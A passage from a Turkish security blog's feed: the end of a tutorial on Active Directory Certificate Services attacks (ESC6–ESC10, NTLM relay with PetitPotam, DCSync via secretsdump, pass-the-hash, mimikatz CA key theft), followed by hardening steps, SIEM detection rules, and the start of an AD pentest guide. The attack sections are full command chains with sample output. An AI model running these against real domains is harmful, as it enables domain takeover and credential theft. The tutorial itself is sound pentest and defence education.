  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -template User &#92;
  -upn administrator@corp.local &#92;
  -dc-ip 10.10.10.10

# Sertifika alındı, artık kimlik doğrulama
certipy auth &#92;
  -pfx administrator.pfx &#92;
  -dc-ip 10.10.10.10 &#92;
  -domain corp.local
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Dikkat Notu&lt;/h4&gt;
&lt;p&gt;Microsoft, Mayıs 2022&#39;de yayımladığı &lt;code&gt;KB5014754&lt;/code&gt; güncellemesiyle &lt;code&gt;EDITF_ATTRIBUTESUBJECTALTNAME2&lt;/code&gt; flag&#39;ini devre dışı bırakan bazı sertifika mapping değişiklikleri yaptı. Ancak eski sistemlerde bu flag hâlâ aktif olabilir.&lt;/p&gt;
&lt;h3&gt;ESC7 — CA Access Control: ManageCA ve ManageCertificates&lt;/h3&gt;
&lt;p&gt;ESC7, bir kullanıcının CA üzerinde &lt;code&gt;ManageCA&lt;/code&gt; veya &lt;code&gt;ManageCertificates&lt;/code&gt; yetkisine sahip olduğu durumları kapsar.&lt;/p&gt;
&lt;h4&gt;ManageCA (CA Yöneticisi)&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ManageCA&lt;/code&gt; yetkisi şunları yapmaya izin verir:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CA konfigürasyonunu değiştirme&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EDITF_ATTRIBUTESUBJECTALTNAME2&lt;/code&gt; flag&#39;ini aktifleştirme → ESC6&lt;/li&gt;
&lt;li&gt;Yeni yönetici hesapları oluşturma&lt;/li&gt;
&lt;li&gt;CA sertifikasını yenileme&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ManageCertificates (Sertifika Yöneticisi)&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ManageCertificates&lt;/code&gt; yetkisi şunlara izin verir:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bekleyen (pending) enrollment isteklerini onaylama → ESC7 alt vektörü&lt;/li&gt;
&lt;li&gt;Sertifikaları iptal etme&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ESC7 Saldırısı — SubCA Şablonu ile&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Adım 1: ManageCA yetkisiyle SubCA şablonunu aktifleştir
certipy ca &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -enable-template SubCA &#92;
  -dc-ip 10.10.10.10

# Adım 2: SubCA şablonuyla administrator UPN ile istek yap
# (Bu istek normalde reddedilir çünkü SubCA Manager Approval gerektirir)
certipy req &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -template SubCA &#92;
  -upn administrator@corp.local &#92;
  -dc-ip 10.10.10.10
# Çıktı: Request ID: 87 (PENDING veya DENIED olarak gelecek)

# Adım 3: ManageCA yetkisiyle isteği onayla
certipy ca &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -issue-request 87 &#92;
  -dc-ip 10.10.10.10

# Adım 4: Onaylanan sertifikayı al
certipy req &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -retrieve 87 &#92;
  -dc-ip 10.10.10.10
# Çıktı: administrator.pfx

# Adım 5: Kimlik doğrulaması
certipy auth &#92;
  -pfx administrator.pfx &#92;
  -dc-ip 10.10.10.10 &#92;
  -domain corp.local
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;ESC7 — EDITF_ATTRIBUTESUBJECTALTNAME2 Aktivasyonu&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# ManageCA yetkisiyle ESC6 flag&#39;ini aç
certipy ca &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -enable-template SubCA &#92;
  -dc-ip 10.10.10.10

# Alternatif: certutil ile (Windows)
certutil -setreg &amp;quot;CA&#92;PolicyModules&#92;CertificateAuthority_MicrosoftDefault.Policy&#92;EditFlags&amp;quot; +EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc &amp;amp;&amp;amp; net start certsvc
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ESC8 — NTLM Relay to AD CS HTTP Enrollment: Zincir Saldırı&lt;/h3&gt;
&lt;p&gt;ESC8, ADCS&#39;in en spektaküler saldırı vektörüdür. NTLM relay saldırısını PetitPotam ya da başka bir coercion tekniğiyle birleştirerek Domain Controller&#39;ın machine account sertifikasını elde eder. Bu sertifika, DC&#39;nin NT hash&#39;ini almak için kullanılır ve ardından DCSync ile tüm domain ele geçirilir.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/adcs-esc8-chain.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Ön Koşullar&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;certsrv HTTP endpoint aktif:&lt;/strong&gt; &lt;code&gt;http://ca01/certsrv/&lt;/code&gt; erişilebilir olmalı&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NTLM authentication açık:&lt;/strong&gt; IIS üzerinde NTLM kabul ediliyor&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EPA (Extended Protection for Authentication) KAPALI:&lt;/strong&gt; Varsayılan kurulumda kapalıdır&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTPS zorunlu değil:&lt;/strong&gt; HTTP relay mümkün olmalı&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Tespit&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# certsrv endpoint varlığı
curl -I http://ca01/certsrv/
# HTTP/1.1 401 Unauthorized → NTLM challenge geliyorsa ESC8 mümkün

# certipy ile
certipy find -u jdoe@corp.local -p &#39;Password123&#39; -dc-ip 10.10.10.10 -stdout
# [!] ESC8 — &#39;CORP-CA&#39;: HTTP enrollment enabled without EPA
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Tam Saldırı Zinciri — 3 Terminal&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Terminal 1: NTLM Relay Listener&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# impacket-ntlmrelayx
impacket-ntlmrelayx &#92;
  -t http://ca01/certsrv/ &#92;
  --adcs &#92;
  --template DomainController &#92;
  -smb2support &#92;
  --no-http-server

# Alternatif: krb5-relay ile Kerberos relay (daha yeni ortamlar için)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Terminal 2: DC Coercion (PetitPotam)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# PetitPotam ile DC&#39;yi NTLM auth yapmaya zorla
python3 PetitPotam.py &#92;
  -u jdoe &#92;
  -p &#39;Password123&#39; &#92;
  -d corp.local &#92;
  192.168.1.50 &#92;
  10.10.10.10

# Alternatif coercion teknikleri:
# PrinterBug (MS-RPRN)
python3 printerbug.py corp.local/jdoe:&#39;Password123&#39;@10.10.10.10 192.168.1.50

# DFSCoerce
python3 dfscoerce.py -u jdoe -p &#39;Password123&#39; -d corp.local 192.168.1.50 10.10.10.10

# Coercer (otomatik tüm coercion vektörlerini dene)
Coercer coerce -l 192.168.1.50 -t 10.10.10.10 -u jdoe -p &#39;Password123&#39; -d corp.local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Terminal 3: Kimlik Doğrulama ve DCSync&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# ntlmrelayx başarılı olduğunda dc01.pfx elde edilir
# Certipy ile PKINIT kimlik doğrulaması
certipy auth &#92;
  -pfx dc01.pfx &#92;
  -dc-ip 10.10.10.10 &#92;
  -domain corp.local

# Çıktı:
# [*] Got TGT
# [*] NT hash for &#39;DC01$&#39;: 8f3b4c2d1a9e5f7b2c4d6e8a1b3c5d7e

# secretsdump ile tüm domain hash&#39;lerini dök
python3 secretsdump.py &#92;
  -hashes &#39;:8f3b4c2d1a9e5f7b2c4d6e8a1b3c5d7e&#39; &#92;
  &#39;corp.local/DC01$@10.10.10.10&#39;

# Çıktı:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e4e2c6abb16a5b7ab1b58c2a5e5a9d1c:::
# [*] MACHINE$:plain_password_hex:...

# Pass-the-Hash ile DC&#39;ye bağlan
python3 wmiexec.py &#92;
  -hashes &#39;:31d6cfe0d16ae931b73c59d7e0c089c0&#39; &#92;
  administrator@10.10.10.10
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;ESC8 Neden Bu Kadar Tehlikeli?&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ağdaki herhangi biri saldırabilir:&lt;/strong&gt; Hatta domain hesabı olmayan biri bile coercion yapabilirse (anonim erişim varsa).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hiçbir şablon yapılandırması değiştirilmez:&lt;/strong&gt; Tamamen mevcut altyapı kullanılır.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain Controller kimliğine bürünme:&lt;/strong&gt; DC&#39;nin machine account sertifikası en yüksek ayrıcalıkları verir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Log izleri sınırlı:&lt;/strong&gt; HTTP enrollment, normal CA trafiği gibi görünür.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ESC9 ve ESC10 — Weak Certificate Mapping&lt;/h3&gt;
&lt;p&gt;ESC9 ve ESC10, 2022 sonrası Microsoft&#39;un sertifika mapping değişikliklerini takip eden görece yeni saldırı vektörleridir.&lt;/p&gt;
&lt;h4&gt;ESC9 — No Security Extension&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;Koşul: msPKI-Enrollment-Flag&#39;de CT_FLAG_NO_SECURITY_EXTENSION (0x80000) set edilmiş
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bu flag, oluşturulan sertifikada &lt;code&gt;szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2)&lt;/code&gt; extension&#39;ının eklenmemesine yol açar. Bu extension, sertifikayı bir Active Directory SID&#39;ine bağlar. Extension yoksa, weak UPN mapping kullanılır.&lt;/p&gt;
&lt;h4&gt;ESC10 — Weak Certificate Mapping via GenericWrite&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Koşul: Hedef kullanıcı üzerinde GenericWrite
# Saldırı: Kullanıcının userPrincipalName&#39;ini değiştir → farklı kullanıcı adına sertifika al → değiştir geri

# Adım 1: Hedef kullanıcının UPN&#39;ini değiştir
python3 bloodyAD.py &#92;
  -u jdoe &#92;
  -p &#39;Password123&#39; &#92;
  -d corp.local &#92;
  --host 10.10.10.10 &#92;
  set object victim userPrincipalName -v administrator@corp.local

# Adım 2: Sertifika al (UPN şimdi administrator)
certipy req &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -template User &#92;
  -dc-ip 10.10.10.10

# Adım 3: UPN&#39;i geri al
python3 bloodyAD.py &#92;
  -u jdoe -p &#39;Password123&#39; -d corp.local --host 10.10.10.10 &#92;
  set object victim userPrincipalName -v victim@corp.local

# Adım 4: Sertifika ile kimlik doğrulama (administrator olarak)
certipy auth -pfx jdoe.pfx -dc-ip 10.10.10.10 -domain corp.local
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ADCS ile Domain Persistence: Sertifika Tabanlı Kalıcılık&lt;/h3&gt;
&lt;h4&gt;Sertifika Tabanlı Kalıcılık&lt;/h4&gt;
&lt;p&gt;Normal bir Domain Admin hesabının şifresi değiştirilse bile, geçerli bir sertifika varsa Kerberos PKINIT ile kimlik doğrulaması yapılmaya devam edilebilir:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Uzun süreli geçerli sertifika oluştur (2 yıl geçerli User şablonu ile)
certipy req -u administrator@corp.local -p &#39;Password&#39; -ca CORP-CA -template User -dc-ip 10.10.10.10

# Şifre değişse bile bu sertifika 2 yıl boyunca geçerli kalır
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Golden Certificate — CA Private Key Ele Geçirme&lt;/h4&gt;
&lt;p&gt;CA&#39;nın private key&#39;i ele geçirilirse, süresi dolmamış herhangi bir sertifika taklit edilebilir:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Mimikatz ile CA private key&#39;i çıkar (CA sunucusunda)
mimikatz.exe &amp;quot;crypto::capi&amp;quot; &amp;quot;crypto::certificates /systemstore:local_machine /store:my /export&amp;quot; &amp;quot;exit&amp;quot;

# veya
mimikatz.exe &amp;quot;lsadump::backupkeys /system:dc01.corp.local /export&amp;quot; &amp;quot;exit&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bu private key sayesinde, herhangi bir kullanıcı adına sertifika sahtelenerek (forge) kalıcılık sağlanabilir. Bu tür sertifikaları iptal etmek için CA private key&#39;in de değiştirilmesi gerekir.&lt;/p&gt;
&lt;h4&gt;DPAPI Bağlantısı&lt;/h4&gt;
&lt;p&gt;CA private key&#39;ler Windows&#39;ta DPAPI ile korunan CNG anahtar depolamada tutulur. &lt;code&gt;mimikatz lsadump::backupkeys&lt;/code&gt; bu key&#39;lere erişim sağlar.&lt;/p&gt;
&lt;h3&gt;Savunma ve Tespit&lt;/h3&gt;
&lt;h4&gt;Önleyici Tedbirler&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;1. Periyodik ADCS Taraması&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Haftalık otomatik tarama (cron/görev zamanlayıcı)
certipy find -u svc-scan@corp.local -p &#39;PASSWORD&#39; -dc-ip 10.10.10.10 -vulnerable -output adcs-weekly-report
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. ESC1 İçin Düzeltme&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Template&#39;deki &lt;code&gt;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; flag&#39;ini kaldır:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# PKI MMC -&amp;gt; Certificate Templates -&amp;gt; Template Properties -&amp;gt; Subject Name
# &amp;quot;Supply in the request&amp;quot; seçeneğini kaldır
# &amp;quot;Build from this Active Directory information&amp;quot; seç

# Veya LDAP ile
Set-ADObject -Identity &amp;quot;CN=VulnerableTemplate,CN=Certificate Templates,...&amp;quot; `
  -Replace @{&amp;quot;msPKI-Certificate-Name-Flag&amp;quot;=&amp;quot;0&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. HTTP Enrollment&#39;ta EPA Zorunlu Kılma (ESC8 için)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# IIS üzerinde certsrv için EPA aktifleştir
Import-Module WebAdministration
Set-WebConfigurationProperty &#92;
  -Filter &amp;quot;system.webServer/security/authentication/windowsAuthentication&amp;quot; &#92;
  -PSPath &amp;quot;IIS:&#92;Sites&#92;Default Web Site&#92;CertSrv&amp;quot; &#92;
  -Name &amp;quot;extendedProtection.tokenChecking&amp;quot; &#92;
  -Value &amp;quot;Required&amp;quot;

# Veya certutil ile
certutil -setreg &amp;quot;CA&#92;InterfaceFlags&amp;quot; +IF_ENFORCEENCRYPTICERTREQUEST
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. EDITF_ATTRIBUTESUBJECTALTNAME2 Kapatma (ESC6)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# CA&#39;da bu flag&#39;i kaldır
certutil -setreg &amp;quot;CA&#92;PolicyModules&#92;CertificateAuthority_MicrosoftDefault.Policy&#92;EditFlags&amp;quot; -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc &amp;amp;&amp;amp; net start certsvc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. Güçlü Sertifika Binding (ESC9/ESC10)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Registry&#39;de StrongCertificateBindingEnforcement aktifleştir
Set-ItemProperty -Path &amp;quot;HKLM:&#92;SYSTEM&#92;CurrentControlSet&#92;Services&#92;Kdc&amp;quot; `
  -Name &amp;quot;StrongCertificateBindingEnforcement&amp;quot; -Value 2 -Type DWord
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;6. Template Onay Zorunluluğu (ESC1/ESC2/ESC3)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Template üzerinde Manager Approval aktifleştir
# PKI MMC -&amp;gt; Certificate Templates -&amp;gt; Properties -&amp;gt; Issuance Requirements
# &amp;quot;CA certificate manager approval&amp;quot; kutusunu işaretle
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Tespit: SIEM ve Event Log Kuralları&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event ID&lt;/th&gt;
&lt;th&gt;Log Source&lt;/th&gt;
&lt;th&gt;Açıklama&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;4886&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Certificate requested (her enrollment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4887&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Certificate issued (başarılı enrollment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4888&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Certificate request denied&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4889&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Certificate put in pending state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4890&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Settings changed for CA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4896&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;One or more rows deleted from certificate database&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Kritik Tespit Kuralı — Olağandışı UPN Talebi:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;EventID = 4887
AND RequesterName != CertificateSubject
AND (
  CertificateSubject CONTAINS &amp;quot;administrator&amp;quot; OR
  CertificateSubject CONTAINS &amp;quot;krbtgt&amp;quot; OR
  CertificateSubject CONTAINS &amp;quot;DC01$&amp;quot;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Kritik Tespit Kuralı — Machine Account HTTP Enrollment:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;EventID = 4887
AND RequesterName ENDSWITH &amp;quot;$&amp;quot;
AND RequestSource = &amp;quot;HTTP&amp;quot;
AND TemplateName = &amp;quot;DomainController&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Microsoft ADCS Denetim Scripti&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Tüm template&#39;leri kontrol et
Import-Module ActiveDirectory

$templates = Get-ADObject -SearchBase &#92;
  &amp;quot;CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local&amp;quot; &#92;
  -Filter {objectClass -eq &amp;quot;pKICertificateTemplate&amp;quot;} &#92;
  -Properties msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag, pKIExtendedKeyUsage

foreach ($t in $templates) {
  $nameFlag = $t.&amp;quot;msPKI-Certificate-Name-Flag&amp;quot;
  $enrollFlag = $t.&amp;quot;msPKI-Enrollment-Flag&amp;quot;

  if ($nameFlag -band 0x1) {
    Write-Warning &amp;quot;[ESC1 Candidate] Template: $($t.Name) — ENROLLEE_SUPPLIES_SUBJECT set&amp;quot;
  }
  if ($enrollFlag -band 0x80000) {
    Write-Warning &amp;quot;[ESC9 Candidate] Template: $($t.Name) — NO_SECURITY_EXTENSION set&amp;quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Referanslar ve Ek Okuma&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&amp;quot;Certified Pre-Owned&amp;quot;&lt;/strong&gt; — Will Schroeder ve Lee Christensen, SpecterOps (2021): &lt;a href=&quot;https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf&quot;&gt;https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;certipy&lt;/strong&gt; — Oliver Lyak: &lt;a href=&quot;https://github.com/ly4k/Certipy&quot;&gt;https://github.com/ly4k/Certipy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Certify&lt;/strong&gt; — Will Schroeder: &lt;a href=&quot;https://github.com/GhostPack/Certify&quot;&gt;https://github.com/GhostPack/Certify&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PetitPotam&lt;/strong&gt; — topotam: &lt;a href=&quot;https://github.com/topotam/PetitPotam&quot;&gt;https://github.com/topotam/PetitPotam&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;impacket&lt;/strong&gt; — SecureAuth: &lt;a href=&quot;https://github.com/fortra/impacket&quot;&gt;https://github.com/fortra/impacket&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Microsoft PKI Documentation:&lt;/strong&gt; &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/&quot;&gt;https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;KB5014754&lt;/strong&gt; — Microsoft ADCS sertifika mapping değişiklikleri (Mayıs 2022)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BloodHound ADCS Support&lt;/strong&gt; — Rohan Vazarkar &amp;amp; Andrew Robbins (BloodHound 4.2+)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Active Directory Güvenlik Testi: Saldırganın Gözünden Kapsamlı Rehber</title>
    <link href="https://tagmachan.com/active-directory-guvenlik-testi-saldirganin-gozunden-kapsamli-rehber.tagox"/>
    <updated>2026-06-29T07:00:00Z</updated>
    <id>https://tagmachan.com/active-directory-guvenlik-testi-saldirganin-gozunden-kapsamli-rehber.tagox</id>
    <category term="Security Research"/>
    <summary>Active Directory güvenlik testinde saldırgan metodolojisinin tamamı: numaralandırma, Kerberoasting, AS-REP Roasting, ACL/attribute abuse, Shadow Credentials, ADCS ESC1-ESC8, delegation saldırıları, DCSync, ZeroLogon, noPac, PetitPotam, GPO abuse, trust saldırıları ve kalıcılık — komutlar, araçlar ve tespit rehberiyle.</summary>
    <content type="html">&lt;h3&gt;Giriş: Neden Active Directory Her Zaman Birincil Hedef?&lt;/h3&gt;
&lt;p&gt;Active Directory (AD), Microsoft&#39;un kurumsal kimlik ve erişim yönetimi çözümüdür. Fortune 500 şirketlerinin %90&#39;ından fazlası, devlet kurumları ve eğitim kurumları AD tabanlı altyapı üzerine kuruludur. Tek bir Domain Controller (DC) ele geçirildiğinde tüm domain kaynakları — kullanıcı hesapları, sunucular, dosya paylaşımları, VPN sistemleri, e-posta altyapısı — saldırganın etkisine girer.&lt;/p&gt;
&lt;p&gt;Bu rehber, &lt;strong&gt;yetkili penetrasyon testi&lt;/strong&gt; bağlamında bir AD ortamını saldırgan perspektifinden nasıl değerlendireceğinizi ele alır. Enumeration&#39;dan DCSync&#39;e, sertifika servislerinden trust saldırılarına kadar her adım, gerçek komutlar ve araçlarla gösterilmiştir.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Etik Not:&lt;/strong&gt; Bu kılavuzdaki teknikler yalnızca yasal izin alınmış ortamlarda (penetrasyon testi, CTF, kişisel lab) kullanılmalıdır. İzinsiz sistemlere uygulanması hukuki sonuçlar doğurur.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/ad-security-hero.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Lab Ortamı ve Araç Seti&lt;/h3&gt;
&lt;p&gt;Testlere başlamadan önce ortamı ve araçları hazırlamak gerekir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Saldırı Platformu (Kali Linux / Parrot OS):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Temel araç seti kurulumu
sudo apt install bloodhound neo4j crackmapexec evil-winrm
pip3 install impacket certipy-ad
git clone https://github.com/PowerShellMafia/PowerSploit  # PowerView
git clone https://github.com/GhostPack/Rubeus             # Rubeus (derleme gerekli)
git clone https://github.com/Sw4mpf0x/PowerMad            # PowerMad (makine hesabı oluşturma)
git clone https://github.com/ly4k/Certipy                 # ADCS saldırıları
git clone https://github.com/eladshamir/Whisker            # Shadow Credentials
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Temel Araçlar Tablosu:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Araç&lt;/th&gt;
&lt;th&gt;Platform&lt;/th&gt;
&lt;th&gt;Kullanım Alanı&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;BloodHound + SharpHound&lt;/td&gt;
&lt;td&gt;Linux / Windows&lt;/td&gt;
&lt;td&gt;Attack path enumeration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PowerView (PowerSploit)&lt;/td&gt;
&lt;td&gt;Windows PS&lt;/td&gt;
&lt;td&gt;AD object sorguları&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rubeus&lt;/td&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;Kerberos ticket işlemleri&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mimikatz&lt;/td&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;Hash dump, ticket inject&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impacket suite&lt;/td&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;DCSync, secretsdump, relay&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CrackMapExec (CME)&lt;/td&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;SMB/WinRM/LDAP tarama&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certipy&lt;/td&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;ADCS (ESC1-ESC8)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Whisker / pywhisker&lt;/td&gt;
&lt;td&gt;Win / Linux&lt;/td&gt;
&lt;td&gt;Shadow Credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PowerMad&lt;/td&gt;
&lt;td&gt;Windows PS&lt;/td&gt;
&lt;td&gt;Machine account oluşturma&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Responder&lt;/td&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;NTLM hash yakalama&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PetitPotam&lt;/td&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;NTLM coercion&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 1: Keşif ve Numaralandırma (Enumeration)&lt;/h3&gt;
&lt;p&gt;Numaralandırma, bir AD testinin en kritik aşamasıdır. Yanlış bir numaralandırma, gerçek attack path&#39;lerin gözden kaçmasına neden olur.&lt;/p&gt;
&lt;h4&gt;1.1 Kimlik Doğrulamasız (Unauthenticated) Numaralandırma&lt;/h4&gt;
&lt;p&gt;İlk adımda, hiçbir credential olmadan ne kadar bilgiye ulaşabileceğimizi test ederiz.&lt;/p&gt;
